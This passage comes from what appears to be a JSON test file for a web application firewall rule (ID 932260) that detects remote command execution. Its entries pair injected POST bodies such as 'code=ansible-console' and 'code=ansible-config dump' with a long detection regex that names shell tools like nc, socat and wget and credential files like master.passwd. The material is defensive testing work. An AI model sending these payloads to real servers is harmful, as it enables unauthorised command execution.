p)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block ad-hoc ansible commands" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-config dump\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\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(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block ansible config dump command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-galaxy collection install community.general\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\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\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block installing collections from ansible galaxy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-console\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?: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$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block ad-hoc ansible commands using ansible-console" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-doc plugin ping\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\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\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|